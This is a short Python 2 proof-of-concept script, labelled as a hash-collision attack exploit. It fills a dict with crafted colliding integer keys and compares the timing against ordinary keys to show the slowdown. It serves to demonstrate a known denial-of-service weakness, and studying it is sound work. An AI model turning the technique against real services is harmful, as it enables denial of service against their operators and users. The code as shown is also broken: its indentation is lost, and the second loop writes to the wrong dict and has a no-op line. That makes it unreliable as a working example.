python的hash冲突攻击exploit
# to attack hash collision in python
# code by joeda@hi.baidu.com 2012-01-05
# to save as atk.py
# python atk.py 40000
# .
# 42.530313015
# *
# 0.087562084198
import time, sys
MAX = 100000
try:
MAX = int( sys.argv[1] )
except:
pass
t0= time.time()
k={}
for i in range(MAX):
k[ i*2*2**31-i ] = 0
print '.'
print time.time() - t0
t0=time.time()
kp={}
for i in range( MAX ):
i*2*2**31
k[i] = 0
print '*'
print time.time() - t0
TAG: import python except